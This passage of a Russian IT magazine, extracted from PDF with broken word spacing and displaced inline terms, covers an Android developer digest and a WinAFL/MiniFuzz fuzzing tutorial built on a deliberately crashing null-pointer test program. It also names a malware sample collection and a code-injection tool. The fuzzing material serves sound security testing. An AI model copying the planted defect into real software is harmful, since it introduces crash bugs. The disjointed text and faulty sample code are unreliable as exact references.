исполь зуя ста тис тичес кий ана лиз, прак тичес ки невоз можно.

•

Мо дифи циро ван ная вер сия игры не запус тится на устрой стве, пред назна‐ 
чен ном для внут ренне го рын ка Север ной Кореи. Такие смар тфо ны и план‐ 
шеты  пред став ляют  собой  реб ренди рован ный  дешевый  китай ский
ноунейм с уста нов ленной спе циаль ной вер сией Android, которая све ряет
циф ровые  под писи  поч ти  всех  типов фай лов  (докумен тов,  изоб ражений,
филь мов, при ложе ний) и либо не поз воля ет их открыть, либо уда ляет.

•

При  нажатии  на  кноп ку  при обре тения  внут рииг ровой  валюты  появ ляет ся
сооб щение  с  номером  заяв ки  и  пред ложение  ввес ти  дру гой  номер.  Его
мож но получить все в том же офлай новом магази не при ложе ний.

•

Вы вес ки офлай новых магази нов при ложе ний в Север ной Корее

РАЗРАБОТЧИКУ

Пог ружение в Jetpack Compose
 — статья о новой биб лиоте ке Jetpack Compose,

пред став ленной на Google I/O 2019. Compose поз воля ет опи сывать UI пря мо
в коде в дек ларатив ном сти ле без необ ходимос ти пра вить XML.

Diving into Jetpack Compose

При мер при ложе ния, написан ного с исполь зовани ем Compose:

class ComposeActivity : Activity() {
   override fun onCreate(savedInstanceState: Bundle?) {
       super.onCreate(savedInstanceState)
       setContent { CraneWrapper { MyApp() } }
   }

   @Composable
   fun MyApp() {
       MaterialTheme {
           Text(text = "Hello world!", style = +themeTextStyle { h3 
})
       }
   }
}

Этот код соз дает активность в сти ле Material Design с тек стом «Hello World!».
Фун кция   необ ходима для нас трой ки про вай деров Context, Fo‐
cusManager  и  TextInputService.  Фун кция    нас тра ивает  цве та,
сти ли и шриф ты в соот ветс твии с пра вила ми Material Design.

CraneWrapper
MaterialTheme

Compose  —  это  реак тивный  UI‐фрей мворк,  сущес твен но  упро щающий
работу с сос тояниями вид жетов:

@Composable
fun MyApp() {
   MaterialTheme { Counter() }
}

@Composable
fun Counter() {
   val amount = +state { 0 }

   Column {
       Text(text = "Counter demo")
       Button(text = "Add", onClick = { amount.value++ })
       Button(text = "Subtract", onClick = { amount.value‐‐ })
       Text(text = "Clicks: ${amount.value}")
   }
}

Дан ный  код  соз дает  экран  с  кноп ками  Add  и  Substract  и  тек стом 
 Нажатие любой из кно пок не толь ко уве личи вает внут реннее

зна чение  чис ла  ,  но  и  при водит  к  немед ленно му  обновле нию
тек сто вого вид жета.

.Text: <число>
amount.value

В  качес тве  зна чения  в  коде    мож но  исполь зовать  не  толь ко
чис ла и дру гие прос тые типы дан ных, мож но соз дать и собс твен ную модель
дан ных:

+state  {  }

@Model
class CounterModel {
   var counter: Int = 0
   var header = "Counter demo"
   fun add() { counter++ }
   fun subtract() { counter‐‐ }
}

Но самая инте рес ная осо бен ность Compose в том, что внут ри он не исполь‐ 
зует  стан дар тные  вид жеты  и  ком понен ты  Android  (View,  Fragment  и  про чие).
Вмес то это го он рису ет все вид жеты самос тоятель но,  так же как это дела ет
Flutter.  Такая  архи тек тура  поз воля ет  пол ностью абс тра гиро вать ся  от  вер сии
Android  и  изме нений  в  интерфей се,  вне сен ных  про изво дите лями  смар тфо‐ 
нов, и получить пол ностью иден тичный UI на любом устрой стве  (биб лиоте ки
под дер жки Android это тоже могут, но ценой жут ких кос тылей и необ ходимос‐ 
ти допили вать вруч ную).

От каз  от  исполь зования  стан дар тных  вид жетов  Android  так же  поз волил
Google  соз дать  более  гиб кий  и  сов ремен ный  фрей мворк,  мно гие  из  идей
которо го  поза имс тво ваны  опять  же  из  Flutter.  Нап ример,  одна  из  клю чевых
идей  Compose  —  «все  есть  вид жет».  Даже  отсту пы  для  дру гих  вид жетов
реали зуют ся с помощью вид жета:

Padding(padding = 16.dp) {
   Button(text = "Say hello", onClick = { ... })
}

Это гораз до более инту итив ный и понят ный спо соб опи сания интерфей са.
Так же  одно  из  важ ных  следс твий  опи сания  интерфей са  пря мо  в  коде —

воз можность исполь зовать любые язы ковые конс трук ции Kotlin:

Column {
   listOf("John", "Julia", "Alice", "Mark").forEach {
       Text(text = it)
   }
}

Ве рифи циру ем целос тность при ложе ния
  —  статья  из  офи циаль ной  докумен тации

Google,  пос вящен ная  решению  проб лемы,  с  которой  стол кну лись  мно гие
раз работ чики при ложе ний пос ле перехо да на фор мат пакетов App Bundle.

Verify  non‐Google  Play  app  installs

На пом ним,  что  App  Bundle —  это  спе циаль ный  фор мат  пакета  для  при‐ 
ложе ний, который поз воля ет упа ковать в один файл все воз можные ресур сы
и биб лиоте ки при ложе ния. При пуб ликации релиза раз работ чик залива ет App
Bundle в Google Play, а тот, в свою оче редь, «раз реза ет» бандл на мно жес тво
незави симых  фай лов  APK,  содер жащих  ресур сы  и  биб лиоте ки  для  раз ных
устрой ств.  Нап ример,  фай лы  перево да  попада ют  в  собс твен ные  незави‐ 
симые пакеты,  и  эти пакеты  уста нав лива ются отдель но от основно го пакета
при ложе ния  в  зависи мос ти  от  того,  какой  язык  выб ран  в  качес тве  дефол‐ 
тового на устрой стве поль зовате ля.

App  Bundle  поз воля ет  сок ратить  раз мер  при ложе ния,  не  жер твуя 
  и  не  обре меняя  раз работ чика,  которо му  ина че  приш‐ 

лось бы самос тоятель но соз давать и заливать в Google Play мно жес тво раз‐ 
ных  APK  для  раз ных  плат форм  и  устрой ств.  Но  есть  одна  проб лема:  если
поль зователь  ска чает  при ложе ние  не  нап рямую  из  Google  Play  (нап ример,
исполь зуя  спе циаль ные  даун лоаде ры,  аль тер натив ные  мар кеты,  или  прос то
дос танет при ложе ние из дру гого  телефо на), при ложе ние может начать сбо‐ 
ить из‐за недос тающих кон крет но для это го устрой ства фай лов APK.

функциональностью

К счастью, у Google есть инс тру мент, который поз воля ет про верить, все ли
необ ходимые ком понен ты при ложе ния уста нов лены на устрой ство. Что бы им
вос поль зовать ся, дос таточ но выпол нить три прос тых шага: 
 1. Добавить сле дующую стро ку в основной   при ложе ния:build.gradle

buildscript {
   dependencies {
       ...
       classpath 'com.android.tools.build:bundletool:0.9.0'
   }
}

 2. Добавить в зависи мос ти биб лиоте ку Play Core:

dependencies {
   ...
   implementation 'com.google.android.play:core:1.6.0'
}

 3.1. Изме нить манифест при ложе ния:

<?xml version="1.0" encoding="utf‐8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
   package="com.example.myapplication" >
   <application
       ...
       android:name="com.google.android.play.core.missingsplits.
MissingSplitsDetectingApplication" >
   </application>
   ...
</manifest>

 3.2. Либо, если при ложе ние исполь зует кас томный класс  , сде‐ 
лать так:

Application

public class MyCustomApplication extends Application {
   @Override
   public void onCreate() {

       if (MissingSplitsManagerFactory.create(this).disableAppIfMis
singRequiredSplits()) {
           // Skip app initialization
           return;
       }

       super.onCreate();
       ...
   }
}

Те перь поль зовате ли, ска чав шие при ложе ние в обход Play Store, уви дят такое
сооб щение:

Сто ит ли обер тывать сто рон ние биб лиоте ки врап пером?
  —  статья  о  дос таточ но  баналь ном  в  сво ей  эффектив‐ 

ности  под ходе  к  раз работ ке,  которым  пре неб рега ют  мно гие  раз работ чики.
Речь  о  дос тоинс твах  обер тывания  сто рон них  биб лиотек  в  кас томный  API.
С одной сто роны,  кажет ся,  что это при несет  толь ко излишний бой лер плейт,
но на самом деле, соз давая врап перы, мож но сущес твен но  упростить свою
жизнь в будущем:

Bohemian  Wrapsody

Мно гие  биб лиоте ки  при  обновле нии  лома ют  API,  из‐за  чего  при ходит ся
делать  рефак торинг  всех  ком понен тов,  исполь зующих  биб лиоте ку.  Если
сде лать обер тку для биб лиоте ки на ран них эта пах раз работ ки, менять при‐ 
дет ся толь ко ее.

•

Тех нологии  раз вива ются,  вмес те  с  ними меня ются  инс тру мен ты.  Впол не
воз можно, в будущем при дет ся отка зать ся от исполь зования текущих биб‐ 
лиотек  и  миг рировать  на  дру гие.  Если  есть  врап пер — менять  при дет ся
толь ко его.

•

В  обер тку мож но  вынес ти  все  допол нитель ные  нас трой ки,  свой ствен ные
для про екта в целом, что бы не пов торять их при каж дом вызове фун кций
биб лиоте ки.

•

Обер тку  мож но  исполь зовать  для  рас ширения  фун кци ональ нос ти  биб‐ 
лиоте ки.

•

Не  все  биб лиоте ки  спро екти рова ны  с  уче том  воз можнос тей  для  тес‐ 
тирова ния. Обер тка решит эту проб лему.

•

Од ну и ту же обер тку мож но исполь зовать в нес коль ких про ектах одновре‐ 
мен но. Вно ся изме нения в один про ект, мы поч ти авто мати чес ки получа ем
их в дру гом.

•

ИНСТРУМЕНТЫ И БИБЛИОТЕКИ

  —  осно ван ный  на  Frida  инс тру мент  ана лиза  и  перех вата  фун‐ 
кций при ложе ний;

• dexcalibur

 — кон тей нер для работы с мно жес твом фраг ментов;• Holdy
  —  обер тка  для  высоко эффектив ной  биб лиоте ки  libjpeg‐

turbo;
• jpegkit‐android

 — прос тая в исполь зовании биб лиоте ка для выпол нения сетевых
зап росов;

• AsynKio

  —  биб лиоте ка  для  выбора  цве та  на  изоб ражении
с помощью цве тово го кру га;

• ColorPickerView

 —  обер тка  вок руг  Retrofit  для  выпол нения  аутен тифика цион ных
рек вестов;

• retroauth

 — при мер инъ екции кода Java/Kotlin в любой JVM‐про‐ 
цесс Android, вклю чая system_server;

• injectvm‐binderjack

  —  биб лиоте ка,  поз воля ющая  запус тить  startActivityFor‐
Result и получить резуль тат в кол бэке вмес то ожи дания интента;

• InlineActivityResult

  —  Kotlin‐форк  биб лиоте ки  FuzzyWuzzy  для  срав нения
строк с помощью алго рит ма Левен штей на;

• fuzzywuzzy‐koltin

 — биб лиоте ка для соз дания модуль ного UI;• bento
 — ана лог VectorDrawable  и AnimatedVectorDrawable  с  воз можностью

паузы, соз дания на лету и дру гими полез ными фун кци ями;
• kyrie

 — биб лиоте ка для соз дания пошаго вых визар дов пер вого запус‐ 
ка;

• Stepper

 — сбор ник сем плов най ден ной в 2019 году мал вари.• AndroidMalware_2019
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Фаз зинг  все  чаще  при меня ют  и  прог раммис ты —  для  про‐ 
вер ки  сво их  при ложе ний  на  проч ность,  и  иссле дова тели
безопас ности,  и  хакеры.  Но  поль зовать ся  фаз зерами
не  вый дет,  если  не  понима ешь,  что  имен но  они  дела ют.
Зато,  узнав  это,  ты  осво ишь  сов ремен ную  тех нику,
с помощью которой сей час находят все новые и новые уяз‐ 
вимос ти в самых раз ных при ложе ниях. В этой статье я рас‐ 
ска жу,  как  работа ют  раз ные  виды  фаз зинга,  и  на  при мере
WinAFL покажу, как поль зовать ся этим инс тру мен том.

В  общих  чер тах  смысл  фаз зинга  зак люча ется  в  переда че  в  прог рамму  (я
имею  в  виду  любой  исполня емый  код,  динами чес кую  биб лиоте ку  или  драй‐ 
вер) любого нес тандар тно го потока дан ных, что бы попытать ся выз вать проб‐ 
лемы в ходе исполне ния.

Так  что  же  мы  ищем  при  помощи  фаз зинга?  Это  дос таточ но  широкий
спектр  оши бок  прог рам мно го  обес печения,  который  вклю чает  в  себя  такие
вещи, как перепол нение буферов, некор рек тная обра бот ка поль зователь ских
дан ных, раз нооб разные утеч ки ресур сов (в том чис ле при работе с памятью),
раз личные ошиб ки син хро низа ции, при водя щие к сос тоянию гон ки, и про чее.
Каж дое такое событие фик сиру ется фаз зером и более под робно иссле дует‐ 
ся в даль нейшем.

ТЕХНИКИ
Су щес тву ют  две  основные  тех ники  фаз зинга  —  это  мутаци онное  и  порож‐ 
дающее  тес тирова ния.  При  мутаци онном  тес тирова нии  генера ция  пос‐ 
ледова тель нос тей  про исхо дит  на  осно ве  заранее  опре делен ных  дан ных
и  шаб лонов.  Имен но  они  сос тавля ют  стар товый  кор пус  фаз зера.  Изме няя
байт  за  бай том  зна чения  на  вхо де  и  про веряя  работу  прог раммы,  фаз зер
может  делать  выводы  об  успешнос ти  тех  или  иных  «мутаций»,  что бы  в  сле‐ 
дующем раун де сге нери ровать более эффектив ные пос ледова тель нос ти.

Как  видишь,  сама  кон цепция  дос таточ но  прос тая.  Но  за  счет  того,  что
количес тво ите раций дос тига ет сотен и тысяч мил лионов  (вре мя тес тирова‐ 
ния при этом сос тавля ет нес коль ко суток даже на мощ ных машинах), фаз зеры
находят в прог раммах самые нет риви аль ные ошиб ки.

В  свою  оче редь,  порож дающее  тес тирова ние —  это  более  прод винутая
тех ника фаз зинга, которая пред полага ет пос тро ение грам матик вход ных дан‐ 
ных,  осно ван ное  на  спе цифи каци ях.  Это  могут  быть  как  фай лы  раз личных
фор матов,  так  и  сетевые  пакеты  в  про токо лах  обме на.  В  этом  слу чае  наши
резуль таты  дол жны  соот ветс тво вать  заранее  опре делен ным  пра вилам.
Порож дающее  тес тирова ние  слож нее  мутаци онно го  в  реали зации,  но  и
веро ятность успе ха тут выше.

Ко неч но,  сущес тву ют  и  более  прод винутые  тех ники.  Нап ример,  фаз зинг
с исполь зовани ем  трас сиров ки и пос тро ением урав нений для SMT‐решате‐ 
лей.  В  теории  это  помога ет  пок рывать  даже  труд нодос тупные  вет ки  кода.
При этом вклю чает ся трас са внут ри ядра ОС, с одновре мен ным исклю чени ем
извес тных  учас тков  (нет  никако го  смыс ла  фаз зить  внут реннос ти  фун кций
WinAPI  и  про чего).  Одна ко  зас тавить  все  пра виль но  работать  неп росто,
и сегод ня это ско рее «чер ная магия», чем рас простра нен ная прак тика.

Вмес те  с  тем  есть  и  сов сем  прос тое  тес тирова ние  с  отправ кой  на  вход
абсо лют но слу чай ных зна чений, но я не рас смат риваю его из‐за очень низ кой
эффектив ности. По сво ему под ходу оно боль ше похоже на перебор «гру бой
силой», так как исто рия и успешность пре дыду щих попыток тут никак не учи‐ 
тыва ются.

INFO

Од ним из пер вых про тоти пов фаз зеров счи тает ся
прог рамма  The  Monkey,  соз данная
в  далеком  1983  году.  В  наз вании  оче вид на
отсылка  к    о  бес конеч ных  обезь янах,
которые  пыта ются  напеча тать  «Вой ну  и  мир».
Нес мотря  на  свою  прак тичес кую  бес полез ность,
теоре ма  популяр на  в  мас совой  куль туре  (нап‐ 
ример,  упо мина ется  в  романе  «Автосто пом
по  галак тике»  и  сери але  «Сим псо ны»)  и  даже
получи ла собс твен ный  .

те оре ме
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ТИПЫ ФАЗЗЕРОВ
С тех никами фаз зинга более‐менее разоб рались,  теперь перей дем к  типам
фаз зеров.

Фор маты фай лов
Бу дем  счи тать  вход ными  дан ными  поль зовате ля  любой  файл  любого  фор‐ 
мата,  который  наше  тес тиру емое  при ложе ние  возь мет ся  обра ботать.
Это зна чит, что мы можем под сунуть файл «неп равиль ного» фор мата и пос‐ 
мотреть,  как спра вит ся с ним подопыт ная прог рамма. Пер вое, что при ходит
в  голову,  —  анти вирус.  Анти вирус ный  ска нер  дол жен  опре делять  фор мат
фай ла,  как‐то  с  ним  вза имо дей ство вать:  пытать ся  рас паковать,  вклю чить
эвристи чес кий ана лиз и так далее.

Чем обер нется  прос тая  про вер ка,  если  анти вирус ный  ска нер  решит,  что
перед  ним  файл  PE,  упа кован ный  UPX,  а  при  рас паков ке  выяс нится,  что
это вов се не UPX, а что‐то, что лишь прит воря ется им? Естес твен но, алго ритм
рас паков ки будет дру гой, но поведе ние ска нера при этом пре дуга дать слож‐ 
но.  Может  быть,  он  обру шит ся.  Может  быть,  прос то  повесит  на  файл  флаг
«пов режден» и про пус тит. И это далеко не пол ный перечень воз можных исхо‐ 
дов. Фаз зеры фор матов фай лов помогут про тес тировать подоб ные вещи.

Ар гумен ты коман дной стро ки и перемен ные окру жения
За час тую ути литам тре буют ся парамет ры коман дной стро ки: это может быть
путь фай ла, аргу мент выпол нения, да мно го чего еще. Но что, если передать
на  вход  неч то,  чего  прог рамма  сов сем  не  ждет?  Как  самое  прос тое,  если
прог рамма про сит ука зать какой‐то путь, то вряд ли она всерь ез рас счи тыва‐ 
ет,  что  путь  будет  сос тоять  из  тысячи  сим волов.  Впол не  воз можно,  что
переда ча  такого  аргу мен та  «непод готов ленно му»  при ложе нию  перепол нит
стек и вызовет обру шение.

Ска зан ное выше в рав ной сте пени отно сит ся и к перемен ным окру жения.
По  сути,  это  поч ти  то  же  самое,  что  и  фаз зеры  коман дной  стро ки,  толь ко
на  вход  берут ся  парамет ры  не  из  аргу мен тов,  а  из  одной  или  нес коль ких
перемен ных сре ды окру жения. А даль ше сце нарий приб лизитель но такой же,
как и в слу чае перепол нения боль шим аргу мен том коман дной стро ки.

Зап росы IOCTL
Дос таточ но полез ная шту ка,  ког да нуж но пос мотреть,  как реаги руют на зап‐ 
росы IOCTL раз личные драй веры режима ядра. Помимо устрой ств и перифе‐ 
рии, драй верами зачас тую поль зуют ся некото рые прог раммы для вза имо дей‐ 
ствия с сис темой. Конеч но, струк тура  IRP‐зап роса поч ти всег да неиз вес тна,
но  перех вачен ные  пакеты  мож но  исполь зовать  в  качес тве  осно вы  для  кор‐ 
пуса.

Се тевые про токо лы
Та кие  фаз зеры  быва ют  заточе ны  под  извес тные  про токо лы,  но  есть  и  все‐ 
ядные  экзем пля ры.  Нап ример,  фаз зер    тес тиру ет  реали‐ 
зации извес тных про токо лов на пред мет наличия таких уяз вимос тей, как меж‐ 
сай товый скрип тинг, перепол нение буферов, SQL‐инъ екции и мно гое дру гое.
С  дру гой  сто роны,  есть  ути лита  ,  которая  может  про тес тировать  нез‐ 
накомые про токо лы на мно гие уяз вимос ти.

OWASP  JBroFuzz
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Бра узер ные движ ки
Да, даже для поис ка дыр в бра узе рах есть спе циаль ные фаз зеры. На сегод‐ 
няшний  день  сов ремен ные  бра узе ры  очень  слож ны  и  содер жат  мно жес тво
движ ков: они обра баты вают раз личные вер сии докумен тов, про токо лов, CSS,
COM,  DOM  и  мно гое  дру гое.  Так  что  учас тни ки  раз личных  bug  bounty  ищут
дыры не толь ко голыми руками. :)

Опе ратив ная память
В  эту  катего рию  вхо дят  дос таточ но  узкоспе циали зиро ван ные  фаз зеры,
исполь зуемые  для  модифи кации  дан ных  прог рамм  в  опе ратив ной  памяти.
Быва ют  полез ными при  тес тирова нии  каких‐либо динами чес ких  анти дам пов
и ути лит со встро енной защитой.

ПРОБЛЕМА ПОКРЫТИЯ
Ра зуме ется, и у фаз зеров сущес тву ют проб лемы: дело в том, что из‐за слож‐ 
ности  некото рых  прог рамм фаз зерам  быва ет  труд но  «дотянуть ся»  до  опре‐ 
делен ных  час тей  кода.  Это  свя зано  с  глу биной  вло жения  или  какими‐либо
дру гими  спе цифич ными  усло виями  исполне ния.  Раз работ чики  фаз зеров
пыта ются бороть ся с недос таточ ным пок рыти ем кода раз личны ми путями.

Тут на помощь при ходит обратная связь, ког да фаз зер получа ет информа‐ 
цию  о  поведе нии  прог раммы  бла года ря  сиг нализи рующим  инс трук циям
в  исполня емом  фай ле.  Это  называ ется  инс тру мен таци ей  и  поз воля ет  фаз‐ 
зеру кор ректи ровать вход на сле дующем раун де, что бы попытать ся улуч шить
пок рытие.

Но и здесь нас под сте рега ют раз личные проб лемы: нап ример, ког да софт
дос тупен  толь ко  в  ском пилиро ван ном  виде  и  нет  исходных  тек стов,  либо
из‐за динами чес кой инс тру мен тации тес тиру емо го при ложе ния силь но про‐ 
седа ет  про изво дитель ность,  либо  обра бот ка  трас сы  занима ет  дос таточ но
мно го про цес сорно го вре мени.

Кро ме  все го  это го,  сущес тву ет  прос тая проб лема сов мести мос ти  с раз‐ 
личны ми вер сиями опе раци онных сис тем, как Windows, так и *nix. Чем слож‐ 
нее фаз зер и чем прис таль ней он смот рит на поток выпол нения при ложе ния,
тем креп че он при вязы вает ся к осо бен ностям ОС.

Как видишь, фаз зеров очень мно го, и под каж дую задачу мож но най ти спе‐ 
циаль но  раз работан ный  инс тру мент  поис ка  уяз вимос тей.  Мно гие  фаз зеры
написа ны под  *nix‐подоб ные ОС,  но  есть  и  такие,  которые работа ют  с Win‐
dows.  Давай  поб лиже  рас смот рим  пароч ку  раз нотип ных  фаз зеров:  WinAFL
и MiniFuzz.

WINAFL
  —  это  форк  популяр ного  фаз зера    (American  fuzzy  lop),  пор‐ 

тирован ный  под  Windows  кор пораци ей  Google.  Он  исполь зует  инс тру мен‐ 
тацию тес товых фай лов, как ста тичес кую, ког да есть исходные коды при ложе‐ 
ния,  так  и  динами чес кую,  ког да  инс тру мен тирова ние  про исхо дит  «на  лету».
В этом помога ет биб лиоте ка для ана лиза бинар ников  .

WinAFL AFL

DynamoRIO

Фаз зер WinAFL

Как  толь ко  что‐то пош ло не  так  в  иссле дуемом при ложе нии  (нап ример, оно
обру шилось), дан ные, которые к это му при вели, копиру ются в отдель ную пап‐ 
ку для даль нейше го иссле дова ния. У фаз зера есть мно жес тво опций запус ка,
давай рас смот рим самые важ ные.

 — каталог вход ных  тес товых  кей сов. При меча тель но,  что
вмес те с фаз зером «из короб ки» идет нес коль ко прос тых тес товых кей сов
для раз личных типов фай лов.

• i [каталог]

  —  каталог  выход ных  дан ных,  куда  будут  помещать ся
резуль таты работы фаз зера.

• o  [каталог]

 — опция, которая говорит фаз зеру исполь зовать динами‐ 
чес кую инс тру мен тацию на базе DynamoRIO. Для это го мы дол жны допол‐ 
нитель но ука зать каталог, где уста нов лен этот инс тру мент.

• D [каталог]

 — опция для ста тичес кой инс тру мен тации.• Y

Ес ли с динами чес кой инс тру мен таци ей все понят но, то со ста тичес кой могут
воз никнуть проб лемы: нап ример, прог рамма  , которая приз‐ 
вана инс тру мен тировать фай лы в Windows, пока еще не понима ет пос ледние
вер сии Visual Studio SDK и не работа ет с прог рамма ми, соб ранны ми в Visual
Studio 2019.

instrument.exe

Ког да все готово и файл инс тру мен тирован, дос таточ но выпол нить коман‐ 
ду  .  Эта  коман да
запус тит про цесс поис ка уяз вимос тей для тес товой прог раммы со ста тичес‐ 
кой инс тру мен таци ей.

afl‐fuzz.exe  ‐Y  ‐i  input  ‐o  output  ‐‐  test.exe

MINIFUZZ
Те перь давай рас смот рим еще один фаз зер под наз вани ем  . Он раз‐ 
работан  в  ком пании  Microsoft  и  дос таточ но  дру желю бен  по  отно шению
к поль зовате лю (да, тут даже есть гра фичес кий интерфейс!). Так же дос тупна
интегра ция с Visual Studio.

MiniFuzz

Фаз зер MiniFuzz

Раз работ чики рекомен дуют делать не менее 100 000 фай лов на каж дый фай‐ 
ловый  фор мат.  При  этом  каж дый  подан ный  на  вход  файл —  это  отдель ная
ите рация  фаз зинга.  Сле дова тель но,  тре бует ся  набор  эта лон ных  фай лов.
Нап ример,  если  ты  решил  про тес тировать  поведе ние  при ложе ния  в  ходе
обра бот ки архи вов  *.zip,  в  пап ку шаб лонов  тебе необ ходимо будет сло жить
око ло ста таких фай лов‐образцов. Мож но положить и боль ше, фаз зер будет
толь ко рад! А вот если положить мень ше, то эффектив ность про цес са замет‐ 
но упа дет.

Да лее фаз зер слу чай ным обра зом выбира ет файл из эта лон ного набора
и изме няет его, посылая в подопыт ное при ложе ние. Если при этом воз ника ет
обру шение, файл записы вает ся в пап ку  , где его потом мож но будет
под робно изу чить и выяс нить, что имен но выз вало сбой.

crashes

Все нас трой ки фаз зера хра нят ся в фай ле   в фор мате XML.
Нем ного  про бежим ся  по  самым  инте рес ным  опци ям  (оче вид ные  я  опус тил
для крат кости).

minifuzz.cfg

  —  в  этом  поле  мож но  добавить  недос тающие
парамет ры коман дной стро ки, если эти дан ные нуж ны во вре мя фаз зинга.

• Command  line  args

 — опре деля ет вре мя работы экзем пля ра
тес тиру емо го при ложе ния. Не сле дует уста нав ливать малень кое зна чение,
ведь тог да фаз зер может не успеть отра ботать.

• Allow process to run for

  —  метод  завер шения  запущен ного  экзем пля ра  тес‐ 
тового  при ложе ния.  Под держи вают ся  методы    (завер шает
про цесс кор рек тно),   (кор рек тное завер шение для окон ных при‐ 
ложе ний) и   (завер шает про цесс ава рий но).

• Shutdown method

ExitProcess

WM_CLOSE

TerminateProcess

 — параметр опре деля ет, нас коль ко силь но будут иска‐ 
жать ся  образцы  фай лов  перед  тем,  как  попадут  в  при ложе ние.  Если  ты
безус пешно  ждешь  резуль тата  вот  уже  дол гое  вре мя,  сто ит  подумать
над уве личе нием это го зна чения.

• Aggressiveness

ПРАКТИКА
Для  того  что бы  понять  на  деле,  как  имен но  про исхо дит  поиск  оши бок
при  помощи  WinAFL,  мы  напишем  неболь шую  тес товую  прог рамму,  внут ри
которой будет фун кция с дос тупом по нулево му  ука зате лю. Сог ласись,  дос‐ 
таточ но рас простра нен ный при мер ошиб ки, от которой не зас тра хован ник то
в  этом  мире.  Код,  который  дол жен  упасть  (и  не  отжать ся),  будет  выг лядеть
при мер но так:

int crash() { 
 int *x = NULL; 
 int y = *x; 

 printf("%s", y); 

 return 0; 
}

Как  имен но  ее  вызывать  —  тут  уже  на  усмотре ние  прог раммис та.  Я  буду
переда вать в качес тве аргу мен та коман дной стро ки «вол шебный» параметр,
который вызыва ет фун кцию по усло вию 

.  Кро ме  того,  для  уско рения  фаз зинга  мож но  «обер нуть»  тес‐ 
тиру емую фун кцию в цикл:

if (argc == 2 && !strcmp(argv[
1],  "key"))

while (__afl_persistent_loop()) { 
 ...

}

Уп равля ющая  фун кция  цик ла  находит ся  в  фай ле 
,  который  необ ходимо  будет  под клю чить  к  про екту.  Кро ме  того,

это добавит в про ект диаг ности чес кие сооб щения.

winafl‐master\afl‐sta‐
ticinstr.h

Под готов ка фай ла к даль нейшей инс тру мен тации

Как видишь, файл еще не  готов  к фаз зингу и WinAFL забот ливо напоми нает
нам, что мы забыли его инс тру мен тировать. Давай испра вим это коман дой

$ instrument.exe ‐‐mode=afl ‐‐input‐image=tst.exe ‐‐output‐image=
instr_crash.exe

Инс тру мен тация

Кро ме того, в свой ствах ком понов щика необ ходимо добавить два парамет ра:
 — вклю чит под дер жку про фили рова ния и   — безопас ная

обра бот ка исклю чений. Пос ле это го все готово и мож но запус кать фаз зер:
/PROFILE /SAFESEH

$ afl‐fuzz.exe ‐Y ‐i in ‐o out ‐t 500+ ‐‐ ‐fuzz_iterations 10000 ‐‐ 
instr_crash.exe

Здесь мы  ука зыва ем  то,  что файл  ста тичес ки  инс тру мен тирован,  ука зыва ем
каталог  , где рас положе ны тест‐кей сы, и каталог  , где будут резуль таты.
Так же  допол нитель но  сооб щаем  вре мя  ожи дания  обра бот ки  каж дой  ите‐ 
рации  (в  мил лисекун дах)  и  количес тво  ите раций  тес тирова ния.  Про цесс
работы фаз зера выг лядит сле дующим обра зом.

in out

Ра бота фаз зера WinAFL

Тут сто ит напом нить, что фаз зинг в реаль ных усло виях может длить ся неделя‐ 
ми.  К  счастью,  у  нас  все  пой дет  быс трее.  Пос ле  того  как  мы  обна ружим
падение при ложе ния, в катало ге   мож но будет най ти фай лы с наз вани ями
вида  .  Внут ри  содер жится  диаг‐ 
ности чес кая информа ция с пояс нени ями, при мер но такими:

out
id:000003,src:000001,op:flip1,pos:1

 

 

 
 

 
 

  

Program received signal SIGSEGV, Segmentation fault.
0x0802f36a in crash  at tst.c:32
32  int y = *x;
#0  0x0802f36a in crash at tst.c:32

crash dump #:1

Как  видишь,  лог  под робный,  в  нем  ука зана  и фун кция  ,  и  тип  ошиб ки
.  Это  зна чит,  что  «вол шебный»  параметр  был  сге нери рован  фаз‐ 

зером вер но и все сра бота ло.

crash
SIGSEGV

ЗАКЛЮЧЕНИЕ
В этой статье я пос тарал ся рас ска зать, что такое фаз зеры, какими они быва‐ 
ют и как работа ют. Как и любая дру гая статья в жур нале, это все го лишь век‐ 
тор для даль нейше го раз вития и самос тоятель ного изу чения (а вов се не все‐ 
объ емлю щее  руководс тво).  Поэто му,  воору жив шись  уже  получен ными  зна‐ 
ниями,  ты  всег да  смо жешь  их  при умно жить,  про водя  собс твен ные  экспе‐ 
римен ты.

mailto:xtahi0nix@gmail.com
https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B5%D0%BC%D0%B0_%D0%BE_%D0%B1%D0%B5%D1%81%D0%BA%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D1%85_%D0%BE%D0%B1%D0%B5%D0%B7%D1%8C%D1%8F%D0%BD%D0%B0%D1%85
https://tools.ietf.org/html/rfc2795
https://www.owasp.org/index.php/JBroFuzz
http://www.immunitysec.com/downloads/SPIKE2.9.tgz
https://github.com/googleprojectzero/winafl
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https://msdn.microsoft.com/en-us/gg675011


ГЛАЗАМИ ПРОГРАММИСТА
ФАЗЗИНГ

КАК В GOOGLE АВТОМАТИЗИРУЮТ
ПОИСК БАГОВ

Дмитрий Вьюков
Работаю над средствами
динамического анализа и
поиска ошибок в Google.
dvyukov@gmail.com

COVERSTORY

Ког да  количес тво  стро чек  кода  в  тво их
прог раммах  исчисля ется  мил лиона ми,
поиск  оши бок  осложня ется  тысячек ратно.
К счастью, сегод ня есть воз можность авто‐ 
мати зиро вать  тес тирова ние  с  помощью
фаз зеров.  Как  они  работа ют,  почему  их
сто ит при менять и на  что они спо соб ны —
об этом ты узна ешь в сегод няшней статье.

Тра дици онная прак тика  тес тирова ния пред полага ет,  что на вход прог раммы
пода ются самые раз ные дан ные — кор рек тные, поч ти  кор рек тные и  гра нич‐ 
ные  слу чаи. Это  поз воля ет  убе дить ся,  что  в  целом  код  работа ет  пра виль но
и серь езных оши бок в логике работы нет. Одна ко при этом качес тво про вер‐ 
ки целиком зависит от качес тва тес тов и их количес тва.

По это му  всег да  есть  веро ятность  того,  что  какой‐то  важ ный  слу чай  был
упу щен, не вошел в фик сирован ный набор тес тов и наш код все‐таки содер‐ 
жит ошиб ку, которую дос таточ но талан тли вый хакер смо жет экс плу ати ровать.
Так что даже положи тель ный резуль тат не сле дует рас смат ривать как повод
прек ратить  тес тирова ние. Но ведь и сле по переби рать все воз можные зна‐ 
чения — тоже не вари ант, никаких ресур сов не хва тит.

Фаз зинг берет луч шее от двух сущес тву ющих под ходов. Мы не огра ничи‐ 
ваем себя конеч ным количес твом тес товых слу чаев и пос тоян но генери руем
